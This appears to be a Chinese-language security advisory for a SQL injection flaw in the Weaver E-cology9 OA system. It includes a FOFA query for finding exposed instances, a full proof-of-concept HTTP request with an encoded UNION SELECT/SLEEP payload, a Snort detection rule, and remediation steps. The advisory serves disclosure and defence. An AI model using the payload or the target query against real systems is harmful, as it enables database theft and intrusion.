

泛微E-cology9 SQL注入漏洞 (QVD-2025-23834)

泛微E-cology9 SQL注入漏洞 (QVD-2025-23834)，攻击者通过恶意SQL语句绕过验证，窃取、篡改或删除数据库敏感数据，甚至获取服务器控制权限，导致数据泄露、业务瘫痪或进一步渗透内网。

影响版本

泛微E-cology9

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="泛微-OA (e-cology) "

POC/EXP:

```
GET /js/hrm/getdata.jsp?
cmd=savect&arg0=%2531%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2533%252c%2534%252c%2535%252c%2553%254c%2545%2545%2550%2528%2533%2529%2520%2523&arg1=1&arg2=2&arg3=3 HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Weaver E-ecology9 - SQL Injection in getdata.jsp (QVD-2025-23834)";  
  flow:to_server,established;  
  content:"GET"; http_method;  
  content:"/js/hrm/getdata.jsp"; http_uri;  
  content:"cmd=savect"; http_uri;  
  pcre:"/arg0=[^&]*(\\%27|\\'|\\%00|\\%20)((\\%6F|o|\\%4F)(\\%72|r|\\%52)|  
(\\%53|s|\\%53)(\\%45|e|\\%45)(\\%4C|l|\\%4C)(\\%45|e|\\%45)(\\%43|c|\\%43)  
(\\%54|t|\\%54)|union(\\%20|\\s)+(a|l|\\%20|\\s)+?select|sleep\\s*$|benchmark\\s*\\(|  
(\\%2D|\\-|\\%20|\\%23|\\%2F|\\%0A|\\n))/i";  
  metadata:service http;  
  metadata:affected_product "泛微E-ecology9";  
  metadata:attack_type "SQL Injection";  
  metadata:severity "critical";  
  reference:qvd,QVD-2025-23834;  
  classtype:sql-injection;  
  sid:1000173;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。